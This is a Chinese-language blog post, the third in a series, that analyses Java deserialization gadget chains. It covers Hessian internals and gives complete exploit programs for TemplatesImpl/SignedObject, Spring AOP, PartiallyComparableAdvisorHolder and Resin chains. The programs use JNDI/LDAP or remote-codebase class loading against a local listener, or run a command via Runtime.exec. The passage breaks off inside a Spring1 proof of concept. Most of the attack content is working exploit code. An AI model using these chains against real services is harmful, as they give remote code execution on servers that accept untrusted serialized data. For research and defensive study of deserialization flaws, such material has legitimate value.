Java反序列化链子分析3
前言
续接之前那篇Java反序列化-2的文章。
Hessian反序列化
Hessian是一种用于远程调用的二进制协议。它被广泛用于构建分布式系统中的跨平台通信,特别适用于Java语言,基于RPC协议,用于远程服务的调用。
Hessian可以将Java对象序列化为二进制数据,并通过网络传输到远程系统,然后将二进制数据反序列化为远程系统可以理解的对象。通过使用二进制格式,Hessian可以提供更高效的数据传输和更低的网络开销,相对于文本协议(如XML或JSON)而言。
Hessian支持各种Java基本类型和复杂对象的序列化和反序列化。它还提供了一种简单的方式定义服务接口和实现远程方法调用。因此,开发人员可以使用Hessian来构建基于Java的分布式系统,同时获得更高的性能和更好的跨平台兼容性。
Hessian是基于Field机制来进行反序列化的,就是通过一些特殊的方法或者反射,直接对Field进行赋值,这与Jackson调用getter、setter是不同的,这种机制相对于基于Bean机制的攻击面要小,因为它们自动调用的方法要少。
以下是一些基于Field机制进行反序列化的类:
- Java Serialization
- Kryo
- Hessian
- json-io
- XStream
下面是对Hessian反序列化进行简单的流程分析:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency> - 在
HessianInput#readObject中,它会通过一个Tag来决定后面的操作,而Hessian序列化是处理成Map的形式,所以code的第一个总是77,也就是对应着M的操作,在readType()中,它会遍历读取反序列化传入的字节数组,读取一定的长度转成字符后存入了_sbuf中,再经过toString()转换成字符串,返回该类的完整路径,比如说com.example.Hessian.User。
public Object readObject()
throws IOException
{
int tag = read();
switch (tag) {
case 'N':
return null;
case 'T':
return Boolean.valueOf(true);
case 'F':
return Boolean.valueOf(false);
case 'I':
return Integer.valueOf(parseInt());
case 'L':
return Long.valueOf(parseLong());
case 'D':
return Double.valueOf(parseDouble());
case 'd':
return new Date(parseLong());
case 'x':
case 'X': {
_isLastChunk = tag == 'X';
_chunkLength = (read() << 8) + read();
return parseXML();
}
case 's':
case 'S': {
_isLastChunk = tag == 'S';
_chunkLength = (read() << 8) + read();
int data;
_sbuf.setLength(0);
while ((data = parseChar()) >= 0)
_sbuf.append((char) data);
return _sbuf.toString();
}
case 'b':
case 'B': {
_isLastChunk = tag == 'B';
_chunkLength = (read() << 8) + read();
int data;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while ((data = parseByte()) >= 0)
bos.write(data);
return bos.toByteArray();
}
case 'V': {
String type = readType();
int length = readLength();
return _serializerFactory.readList(this, length, type);
}
case 'M': {
String type = readType();
return _serializerFactory.readMap(this, type);
}
case 'R': {
int ref = parseInt();
return _refs.get(ref);
}
case 'r': {
String type = readType();
String url = readString();
return resolveRemote(type, url);
}
default:
throw error("unknown code for readObject at " + codeName(tag));
}
} - 随后会进入到
SerializerFactory#readMap中,会进入到getDeserializer方法获取反序列化器,如果获取不到,就会进入到_hashMapDeserializer.readMap中。
public Object readMap(AbstractHessianInput in, String type)
throws HessianProtocolException, IOException
{
Deserializer deserializer = getDeserializer(type);
if (deserializer != null)
return deserializer.readMap(in);
else if (_hashMapDeserializer != null)
return _hashMapDeserializer.readMap(in);
else {
_hashMapDeserializer = new MapDeserializer(HashMap.class);
return _hashMapDeserializer.readMap(in);
}
} - 在
getDeserializer中,它会判断是否前面获取不到type,是则返回null,然后会从缓存中获取对应type的反序列化器,如果获取不到,会从_staticTypeMap中获取,都获取不到,则判断type是不是数组,是就根据数组基本类型来获取其Deserializer,并创建ArrayDeserializer返回,否则尝试通过目标type的clazz形式来获取deserializer放到缓存里面。一般的类如果使用了不安全的Serializer,会获取到UnsafeDeserilize。
public Deserializer getDeserializer(String type)
throws HessianProtocolException
{
if (type == null || type.equals(""))
return null;
Deserializer deserializer;
if (_cachedTypeDeserializerMap != null) {
synchronized (_cachedTypeDeserializerMap) {
deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);
}
if (deserializer != null)
return deserializer;
}
deserializer = (Deserializer) _staticTypeMap.get(type);
if (deserializer != null)
return deserializer;
if (type.startsWith("[")) {
Deserializer subDeserializer = getDeserializer(type.substring(1));
if (subDeserializer != null)
deserializer = new ArrayDeserializer(subDeserializer.getType());
else
deserializer = new ArrayDeserializer(Object.class);
}
else {
try {
//Class cl = Class.forName(type, false, getClassLoader());
Class cl = loadSerializedClass(type);
deserializer = getDeserializer(cl);
} catch (Exception e) {
log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e);
log.log(Level.FINER, e.toString(), e);
}
}
if (deserializer != null) {
if (_cachedTypeDeserializerMap == null)
_cachedTypeDeserializerMap = new HashMap(8);
synchronized (_cachedTypeDeserializerMap) {
_cachedTypeDeserializerMap.put(type, deserializer);
}
}
return deserializer;
} - 进入到
readMap后,会通过sun.misc.Unsafe#allocateInstance初始化一个空对象,然后再调用readMap
public Object readMap(AbstractHessianInput in)
throws IOException
{
try {
Object obj = instantiate();
return readMap(in, obj);
} catch (IOException e) {
throw e;
} catch (RuntimeException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);
}
} - 将它加入到引用当中,便于用引用来寻找值,然后通过while循环来对值进行恢复,会从
_fieldMap中通过键获取对应的Deserializer,要注意的是这里不包含transient修饰的成员,再根据获取到的Deserializer进入到不同类的deserialize方法中,比如ObjectFieldDeserializer会进入ObjectFieldDeserializer#deserialize中,FieldDeserializer2中一共有14个unsafe的反序列化器。
public Object readMap(AbstractHessianInput in, Object obj)
throws IOException
{
try {
int ref = in.addRef(obj);
while (! in.isEnd()) {
Object key = in.readObject();
FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);
if (deser != null)
deser.deserialize(in, obj);
else
in.readObject();
}
in.readMapEnd();
Object resolve = resolve(in, obj);
if (obj != resolve)
in.setRef(ref, resolve);
return resolve;
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
} 
- 进入到
deserialize后,又会触发HessianInput#readObject进行反序列化。
public void deserialize(AbstractHessianInput in, Object obj)
throws IOException
{
Object value = null;
try {
value = in.readObject(_field.getType());
_unsafe.putObject(obj, _offset, value);
} catch (Exception e) {
logDeserializeError(_field, obj, value, e);
}
}
} - 因为序列化成
Map的形式,因此还是进入M中,获取到type会空后,会进入到MapDeserializer#readMap中。
public Object readObject(Class cl)
throws IOException
{
if (cl == null || cl == Object.class)
return readObject();
int tag = read();
switch (tag) {
case 'N':
return null;
case 'M':
{
String type = readType();
if ("".equals(type)) {
Deserializer reader;
reader = _serializerFactory.getDeserializer(cl);
return reader.readMap(this);
}
else {
Deserializer reader;
reader = _serializerFactory.getObjectDeserializer(type);
return reader.readMap(this);
}
}
case 'V':
{
String type = readType();
int length = readLength();
Deserializer reader;
reader = _serializerFactory.getObjectDeserializer(type);
if (cl != reader.getType() && cl.isAssignableFrom(reader.getType()))
return reader.readList(this, length);
reader = _serializerFactory.getDeserializer(cl);
Object v = reader.readList(this, length);
return v;
}
case 'R':
{
int ref = parseInt();
return _refs.get(ref);
}
case 'r':
{
String type = readType();
String url = readString();
return resolveRemote(type, url);
}
}
_peek = tag;
Object value = _serializerFactory.getDeserializer(cl).readObject(this);
return value;
} - 在
MapDeserializer#readMap里面,会对map的类型进行判断,如果是Map则使用HashMap,SortedMap则使用TreeMap(),接着进入了一个while循环,它会读取key-value的键值对并调用put方法,这里的put方法老生常谈了,会触发任意类的hashcode()方法,至此,只要是入口为hashCode都能够使用。
public Object readMap(AbstractHessianInput in)
throws IOException
{
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap(); //hashCode()、equals()
else if (_type.equals(SortedMap.class))
map = new TreeMap(); //触发compareTo()方法
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
} 要使用Hessian条件如下:
- kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
- 利用链中调用的成员变量不能为 transient 修饰;
- 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。
在Hessian中,有一个十分魔幻的地方,就是它支持反序列化任意类,并且无需实现Serializable接口,使得没有实现Serializable接口的类也可以序列化和反序列化,只需要将_isAllowNonSerializable=true即可,可以设置SerializerFactory#setAllowNonSerializable来赋值。
public class SerializerFactory extends AbstractSerializerFactory {
protected Serializer getDefaultSerializer(Class cl) {
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));
}
}
} TemplatesImpl
首先考虑一下动态字节码加载的打法,但是明显是不行的,因为TemplatesImpl中的_tfactory是一个transient,无法参与序列化与反序列化,因此可以采取二次反序列化的打法,就是上文的ROME中的SignedObject链。
调用链如下:
hessianinput.readObject()->
hashmap.put()->
EqualsBean.hashcode()->
ToStringBean.toString()->
SignedObject.getObject()->
hashmap.readObject()->后面的利用链 exp如下:
package com.example.Hessian;
import cn.hutool.core.lang.hash.Hash;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.example.jackson.TemplateImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
public class hessian_signobject {
public static void main(String[] args) throws Exception {
byte[] code =getTemplates();
byte[][] codes={code};
TemplatesImpl templates=new TemplatesImpl();
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_name","Aiwin");
setValue(templates,"_class",null);
setValue(templates,"_bytecodes",codes);
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
HashMap hashMap=new HashMap();
hashMap.put(equalsBean,"aaa");
setValue(equalsBean,"_beanClass",ToStringBean.class);
setValue(equalsBean,"_obj",toStringBean);
//SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean_sign=new EqualsBean(String.class,"aiwin");
HashMap hashMap_sign=new HashMap();
hashMap_sign.put(equalsBean_sign,"aaa");
setValue(equalsBean_sign,"_beanClass",ToStringBean.class);
setValue(equalsBean_sign,"_obj",toStringBean_sign);
String result=Hessian_serialize(hashMap_sign);
Hessian_unserialize(result);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void Hessian_unserialize(String obj) throws IOException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
} 同样JdbcRowSetImpl等常规链子也是可以的
Spring AOP
利用链
Hessian#readObject()->
hashMap.putVal()->
hotSwappableTargetSource#equals()->
AbstractPointcutAdvisor#equals()->
AbstractBeanFactoryPointcutAdvisor#getAdvice()
SimpleJndiBeanFactory#getBean()->
lookup() 在自己写这条链的时候,也是在不断的报错,因为发现它里面利用的很多类都没有继承Serializable接口,导致无法序列化和反序列化,并且似乎并没有找到绕过去的方式,包括SimpleJndiBeanFactory,后来看了一下marshalsec,后来才知道Hessian可以不需要继承序列化和反序列化的。
package com.example.Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class springaop {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.setShareableResources(jndiUrl);//这里一定要设置,为了过Singleton()
Class<?> AbstractBeanFactoryPointcutAdvisor = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
Field adviceBeanName = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("adviceBeanName");
adviceBeanName.setAccessible(true);
adviceBeanName.set(defaultBeanFactoryPointcutAdvisor, jndiUrl);
Field beanFactory = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("beanFactory");
beanFactory.setAccessible(true);
beanFactory.set(defaultBeanFactoryPointcutAdvisor, simpleJndiBeanFactory);
AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource, "1");
hashMap.put(hotSwappableTargetSource1, "2");
setFieldValue(hotSwappableTargetSource,"target",defaultBeanFactoryPointcutAdvisor);
setFieldValue(hotSwappableTargetSource1,"target",asyncAnnotationAdvisor);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
} 简单解析:
在SimpleJndiBeanFactory#getBean中存在能够调用lookup接口。
这里仅需要初始化beanFactory=SimpleJndiBeanFactory,同时adviceBeanName可控,通过setShareableResources可过掉isSingleton判断即可触发getBean

在AbstractPointcutAdvisor#equals方法中,存在可以触发getAdvice()的点,并且otherAdvice可控,至于equals可通过HashCode#puVal触发,整条链就串起来了。

PartiallyComparableAdvisorHolder
Hessian#readObject()->
hashMap.putVal()->
hotSwappableTargetSource#equals()->
Xstring#equals()->
PartiallyComparableAdvisorHolder#toString()->
AspectJPointcutAdvisor#getOrder()->
AbstractAspectJAdvice#getOrder()->
BeanFactoryAspectInstanceFactory#getOrder()->
SimpleJndiBeanFactory#getType()->
SimpleJndiBeanFactory#doGetType()->
SimpleJndiBeanFactory#doGetSingleton()->
SimpleJndiBeanFactory#lookup()->JndiTemplate#lookup() exp:
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";
SimpleJndiBeanFactory simpleJndiBeanFactory=new SimpleJndiBeanFactory();
simpleJndiBeanFactory.setShareableResources(jndiUrl);
AspectInstanceFactory beanFactoryAspectInstanceFactory=createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(beanFactoryAspectInstanceFactory,"beanFactory",simpleJndiBeanFactory);
setFieldValue(beanFactoryAspectInstanceFactory,"name",jndiUrl);
AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAfterAdvice.class);
Class<?> abstractAspectJAdvice= Class.forName("org.springframework.aop.aspectj.AbstractAspectJAdvice");
Field aspectInstanceFactory=abstractAspectJAdvice.getDeclaredField("aspectInstanceFactory");
aspectInstanceFactory.setAccessible(true);
aspectInstanceFactory.set(advice,beanFactoryAspectInstanceFactory);
AspectJPointcutAdvisor aspectJPointcutAdvisor=createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(aspectJPointcutAdvisor,"advice",advice);
Class<?> PartiallyComparableAdvisorHolder=Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object Partially=createWithoutConstructor(PartiallyComparableAdvisorHolder);
setFieldValue(Partially,"advisor",aspectJPointcutAdvisor);
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("a"));
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource, "1");
hashMap.put(hotSwappableTargetSource1, "2");
setFieldValue(hotSwappableTargetSource,"target",Partially);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
} 简单分析:
首先在SimpleJndiBeanFactory#doGetSingleton中存在lookup接口,在同一个类中SimpleJndiBeanFactory#getType()可以调用到doGetSingleton

BeanFactoryAspectInstanceFactory#getOrder()中,存在着可控beanFactory和name能够调用getType

AbstractAspectJAdvice#getOrder()能够调用BeanFactoryAspectInstanceFactory#getOrder(),因为aspectInstanceFactory是可控的,但是要注意这里是抽象类,要找子类都实例化传值。

AspectJPointcutAdvisor#getOrder()可以触发AbstractAspectJAdvice#getOrder(),只需要在构造函数初始化advice=AbstractAspectJAdvice

最后在AspectJAwareAdvisorAutoProxyCreator中找到子类PartiallyComparableAdvisorHolder#toString,可以调用AspectJPointcutAdvisor#getOrder(),然后toString()完全可以通过Xstring类来触发。

Resin
引入依赖,这里引入的依赖版本好像要正确,否则会报错显示com.caucho.Naming不存在,至于每个版本的对应,我也不清楚。:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency> Xstring#equals()->
Qname#toString()->
ContinuationContext#composeName()->
ContinuationContext#getTargetContext()->
NamingManager#getContext()->
NamingManager#getObjectInstance()->
NamingManager#getObjectFactoryFromReference()->
loadClass() exp:
package com.example.Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.*;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Resin {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
String codebase="http://127.0.0.1:9999/";
String clazz="siJdcpuR";
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(new Reference("siJdcpuR", clazz,codebase));
Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx,"aiwin","aiwin1"); //_items要过for循环
String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hash
XString xString = new XString(unhash);
HashMap<Object, Object> hashMap = new HashMap<>();
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));
Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));
setFieldValue(hashMap, "table", tbl);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= 65535) {
if (div != 0)
partial.append((char)div);
partial.append((char)rem);
} else {
unhash0(partial, div);
partial.append((char)rem);
}
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
SerializerFactory serializerFactory=new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
}
简单分析:
漏洞的触发点在NamingManager#getObjectFactoryFromReference中,只需要控制Reference为恶意的factoryLocation即可通过loadClass加载类并在后面通过newInstance实例化,在NamingManager#getContext中可以直接触发这个方法。
ContinuationContext#getTargetContext()中能够触发NamingManager.getContext(),前提是CannotProceedException#getResolvedObj()要有值,这个值就是后面要用到的Reference(),因为可以通过setResolvedObj()进去,要注意的是ContinuationContext是直接通过class修饰的,只能在同一个包中被访问,不能直接实例化,要通过反射进行构造。getTargetContext()在本类的composeName可触发。

Qname#toString()中可以触发composeName(),因为_context可以直接实例化控制,要过for循环需要往_items里面加数据即可。

Spring1反序列化
spring1和spring2反序列化链子都比较局限,只局限于spring-core、spring-beans中的4.1.4 RELEASE版本,参考su18师傅的文章,发现这两条链子将动态代理玩的明明白白的,下面是链子的简单分析:
首先来分析跟动态代理有关的AnnotationInvocationHandler类,里面的invoke()方法,调用被代理类的任意方法都会触发AnnotationInvocationHandler的invoke方法。
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
} 关键看
default中Object var6 = this.memberValues.get(var4);,当函数传入的method不等于equals并且所需的参数不为1,同时methond不是toString() hashCode() annotationType()方法并且所需的参数不为0,就会进去default里面,从memberValues中取值,而memberValues是一个Map即Key-Value的形式,最终通过key将Value返回。
再看SerializableTypeWrapper#MethodInvokeTypeProvider类,这是抽象类里面的一个子类,里面的readObject()存在反射调用,这也是spring1链子的反序列化入口点。
static class MethodInvokeTypeProvider implements TypeProvider {
private final TypeProvider provider;
private final String methodName;
private final int index;
private transient Object result;
public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName();
this.index = index;
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}
@Override
public Type getType() {
if (this.result instanceof Type || this.result == null) {
return (Type) this.result;
}
return ((Type[])this.result)[this.index];
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
} 在
readObject()方法中,通过反射从this.provider.getType().getClass()获取类,并且寻得对应的方法,随后通过ReflectionUtils.invokeMethod()调用这个方法,这里的methodName是可控的,如果通过getType()获取到的类也能够控制,那么就能够触发我们的恶意方法,比如说methodName=newTransformer,getType()处理成TemplatesImpl。
再看一下AutowireUtils类的子类ObjectFactoryDelegatingInvocationHandler,里面的invoke方法。
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
private final ObjectFactory<?> objectFactory;
public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
return (proxy == args[0]);
}
else if (methodName.equals("hashCode")) {
return System.identityHashCode(proxy);
}
else if (methodName.equals("toString")) {
return this.objectFactory.toString();
}
try {
return method.invoke(this.objectFactory.getObject(), args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
} 函数接收一个
Method方法,如果method不为equals() hashCode() toString(),从objectFactory中调用getObject()获取类,最终通过method.invoke调用类中的method方法。
看完上面的三个方法,要解决的问题就是怎么控制getType()返回的类?
AnnotationInvocationHandler中,我们可以传入Key是一个方法名、控制方法返回的值,只需要通过动态代理这个类,调用这个类中的方法时候就会触发invoke()函数- 首先,我们可以通过
AnnotationInvocationHandler代理一个ObjectFactory使它的getObject返回TemplatesImpl类 - 然后,实例化一个
ObjectFactoryDelegatingInvocationHandler类,再将代理后的ObjectFactory赋值给ObjectFactoryDelegatingInvocationHandler进行初始化,就会触发ObjectFactoryDelegatingInvocationHandler#invoke()方法,从而触发getObject方法,因为ObjectFactoryDelegatingInvocationHandler本身也是一个代理类,继承了InvocationHandler接口 - 再通过
AnnotationInvocationHandler代理TypeProvider类,使得getType()返回的是Templates类型的类,只需要增加TypeProvider的返回值有Templates类 - 使用
ObjectFactoryDelegatingInvocationHandler代理返回接口是Type+Templates的类,从而使getType()的返回值中有ObjectFactoryDelegatingInvocationHandler,这里就会再在调用invokeMethod()的时候,触发ObjectFactoryDelegatingInvocationHandler#invoke()方法完成调用
整条链子如下:
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod()
Templates(Proxy).newTransformer()
AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
TemplatesImpl.newTransformer() poc如下:
package com.example.spring;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class spring1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
